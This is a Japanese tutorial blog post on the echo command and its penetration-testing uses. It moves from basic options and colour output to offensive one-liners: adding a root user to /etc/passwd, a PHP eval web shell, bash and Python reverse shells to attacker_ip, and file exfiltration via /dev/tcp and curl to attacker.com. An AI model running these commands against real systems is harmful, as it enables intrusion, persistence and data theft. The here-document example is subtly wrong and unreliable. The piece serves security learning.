August 24, 2025
30 閲覧数
Welcome

Echoコマンド詳解と侵入テストへの応用

本文は、Echoコマンドのペネトレーションテストにおける様々な応用について詳細に解説しています。基本的なオプション、カラー出力、フォーマット出力、ファイル操作、文字列表示、IP転送、ユーザー管理、パスワード変更、コマンド実行、Base64エンコード、リバースシェル、ファイル転送などのテクニックを含みます。記事の内容は、Echoコマンドの一般的な使用方法と、実際のペネトレーションテストにおける適用事例を網羅しており、セキュリティ愛好家やペネトレーションテスト担当者にとって非常に参考になる学習資料です。

echoのペネトレーションテストにおける利用

echoのよくあるオプション

基本オプション

bash
1# -n: 末尾の改行文字を出力しない
2echo -n "Hello"  # 出力: Hello
3echo "Hello"     # 出力: Hello\n
4
5# -e: エスケープシーケンスを有効にする
6echo -e "Hello\nWorld"  # 出力: Hello
7                        # World
8
9# -E: エスケープシーケンスを無効にする(デフォルト)
10echo -E "Hello\nWorld"  # 出力: Hello\nWorld
11
12# よく使うエスケープシーケンス
13echo -e "\a"     # ベル
14echo -e "\b"     # バックスペース
15echo -e "\c"     # 改行しない
16echo -e "\f"     # 改ページ
17echo -e "\n"     # 改行
18echo -e "\r"     # 復帰
19echo -e "\t"     # 水平タブ
20echo -e "\v"     # 垂直タブ
21echo -e "\\"     # バックスラッシュ

色付き出力

bash
1# テキストの色
2echo -e "\033[31m赤文字\033[0m"    # 赤
3echo -e "\033[32m緑文字\033[0m"    # 緑
4echo -e "\033[33m黄文字\033[0m"    # 黄
5echo -e "\033[34m青文字\033[0m"    # 青
6echo -e "\033[35m紫文字\033[0m"    # 紫
7echo -e "\033[36mシアン文字\033[0m"    # シアン
8
9# 背景の色
10echo -e "\033[41m赤背景\033[0m"    # 赤背景
11echo -e "\033[42m緑背景\033[0m"    # 緑背景
12echo -e "\033[43m黄背景\033[0m"    # 黄背景
13
14# テキストスタイル
15echo -e "\033[1m太字\033[0m"     # 太字
16echo -e "\033[4m下線\033[0m"   # 下線
17echo -e "\033[5m点滅\033[0m"     # 点滅

フォーマット済み出力

bash
1# 変数の利用
2name="World"
3echo "Hello $name"      # 出力: Hello World
4echo "Hello ${name}"    # 出力: Hello World
5
6# コマンド置換
7echo "現在時刻: $(date)"
8echo "現在時刻: `date`"
9
10# 特殊文字のエスケープ
11echo "This is a \$dollar sign"    # 出力: This is a $dollar sign
12echo "This is a \"quote\""        # 出力: This is a "quote"

ファイル操作オプション

bash
1# ファイルへの追記
2echo "new line" >> file.txt
3
4# ファイルの上書き
5echo "new content" > file.txt
6
7# 複数行ファイルの作成
8echo -e "line1\nline2\nline3" > multiline.txt
9
10# hereドキュメントの使用
11echo << EOF > file.txt
12line1
13line2
14line3
15EOF

echoによる文字列表示

bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening 
5 Good Evening

ipv4 ipforwardの有効化

bash
1echo 1 > /proc/sys/net/ipv4/ip_forward

root権限ユーザーの追加

bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

rootパスワードの変更

bash
1echo "root:newpassword" | chpasswd

echo -eを用いたパスワードの非対話型変更

bash
1echo -e "newpassword\nnewpassword" | passwd username

base64と組み合わせたコマンド実行

bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bash

Base64を用いた1.phpへのPHPワンライナーの書き込み

bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

リバースシェル

bash
1# Bashリバースシェル
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# Pythonリバースシェル
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

ファイル操作

bash
1# ファイルの作成
2echo "content" > file.txt
3
4# 内容の追記
5echo "more content" >> file.txt
6
7# ファイルのクリア
8echo "" > file.txt

環境変数の操作

bash
1# 環境変数の設定
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# プロキシ設定の追加
5echo "export http_proxy=http://proxy:port" >> ~/.bashrc

システム設定の変更

bash
1# システム制限の変更
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# カーネルパラメータの変更
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

ファイル転送

ファイル送信

bash
1# 方法1:ncを使用
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# 方法2:base64を使用
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

ファイル受信

bash
1# 方法1:ncを使用
2nc -v -l -p 4422 > 1.tar.gz
3
4# 方法2:base64を使用
5cat file.txt.b64 | base64 -d > file.txt

ファイル転送のその他の方法

bash
1# curlを用いたファイルアップロード
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# wgetを用いたファイルダウンロード
5echo "wget http://attacker.com/file -O /path/to/save"

この記事は気に入りましたか?

友達や同僚と共有しましょう!

Welcome
Last updated: August 25, 2025
相关文章
正在检查服务状态...